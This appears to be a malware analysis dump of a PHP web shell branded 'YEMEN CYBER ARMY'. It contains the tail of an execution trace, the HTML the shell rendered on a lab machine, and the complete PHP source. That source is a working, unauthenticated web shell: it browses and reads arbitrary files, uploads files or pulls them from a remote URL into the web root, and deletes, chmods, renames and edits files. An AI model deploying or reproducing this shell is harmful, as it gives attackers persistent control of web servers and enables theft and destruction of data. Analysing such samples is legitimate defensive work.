2		A						/var/www/html/uploads/co.phtml	438	$ingfo .= 'x'
2	57	1	0.003121	472264
2	57	R			'-rwxr-xr-x'
2	59	0	0.003136	472224	is_writable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.003152	472264
2	59	R			FALSE
2	60	0	0.003166	472224	is_readable	0		/var/www/html/uploads/co.phtml	367	1	'/var/www/html/uploads/prepend.php'
2	60	1	0.003181	472264
2	60	R			TRUE
2	61	0	0.003195	472160	author	1		/var/www/html/uploads/co.phtml	385	0
			0.003224	392832
TRACE END   [2023-02-12 19:29:24.156180]


Generated HTML code

<html><head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">YEMEN CYBER ARMY </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
<img src="https://files.catbox.moe/7l0m14.jpeg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center">

Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked="">current_dir [ <font color="green">Writeable</font> ]
<input type="radio" value="2" name="dirnya">document_root [ <font color="green">Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></td></tr></tbody></table><br><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><a href="?fileloc=/var/www/html/co.phtml&amp;path=/var/www/html">co.phtml</a></td>
<td><center>12.446 KB</center></td>
<td><center>-rw-rw-r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="co.phtml">
<input type="hidden" name="path" value="/var/www/html/co.phtml">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>YE_HACK 2022</center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">YEMEN CYBER ARMY </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<img src="https://files.catbox.moe/7l0m14.jpeg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center" />

<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>YE_HACK 2022</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function cekroot() {
	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
	echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
	echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td><br>';
if (isset($_POST['upwkwk'])) {
	if (isset($_POST['berkasnya'])) {
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
		} else {
			echo "<font color='red'>Failed to Upload !<br><br>";
		}
	} elseif (isset($_POST['linknya'])) {
		if (empty($_POST['namalink'])) {
			exit("Filename cannot be empty !");
		}
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
		if (file_exists($lokasi."/".$_POST['namalink'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
		} else {
			echo "<font coloe='red'>Failed to Upload !<br><br>";
		}
	}
}

echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
	echo "<tr><td>Current File : ".$_GET['fileloc'];
	echo '</tr></td></table><br/>';
	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
	author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
	if (is_dir($_POST['path'])) {
		xrmdir($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to delete Directory !");
		} else {
			green("Delete Directory Success !");
			echo "string";
		}
	} elseif (is_file($_POST['path'])) {
		@unlink($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to Delete File !");
		} else {
			green("Delete File Success !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
	if (isset($_POST['chm0d'])) {
		$cm = @chmod($_POST['path'], $_POST['perm']);
		if ($cm == true) {
			green("Change Mod Success !");
		} else {
			red("Change Mod Failed !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
	if (isset($_POST['gantin'])) {
		$ren = @rename($_POST['path'], $_POST['newname']);
		if ($ren == true) {
			green("Change Name Success !");
		} else {
			red("Change Name Failed !");
		}
	}
	if (empty($_POST['name'])) {
		$namaawal = $_POST['newname'];
	} else {
		$namawal = $_POST['name'];
	}
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
	if (isset($_POST['gasedit'])) {
		$edit = @file_put_contents($_POST['path'], $_POST['src']);
		if ($edit == true) {
			green("Edit File Success !");
		} else {
			red("Edit File Failed !");
		}
	}
	echo "<center>".$_POST['path']."<br><br>";
	echo '<form method="post">
	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
	echo "<tr>
	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
	<td><center>--</center></td>
	<td><center>";
	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
	echo statusnya($lokasi."/".$dir);
	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

	echo "</center></td>
	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
	<select name=\"pilih\">
	<option value=\"\"></option>
	<option value=\"hapus\">Delete</option>
	<option value=\"ubahmod\">Chm0d</option>
	<option value=\"gantinama\">Rename</option>
	</select>
	<input type=\"hidden\" name=\"type\" value=\"dir\">
	<input type=\"hidden\" name=\"name\" value=\"$dir\">
	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
	<input type=\"submit\" class=\"gas\" value=\">\" />
	</form></center></td>
	</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
	if(!is_file("$lokasi/$file")) continue;
	$size = filesize("$lokasi/$file")/1024;
	$size = round($size,3);
	if($size >= 1024){
	$size = round($size/1024,2).' MB';
} else {
	$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$statusnya = fileperms($file);

if (($statusnya & 0xC000) == 0xC000) {

// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}

// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));


// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));

// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));

return $ingfo;
}
?>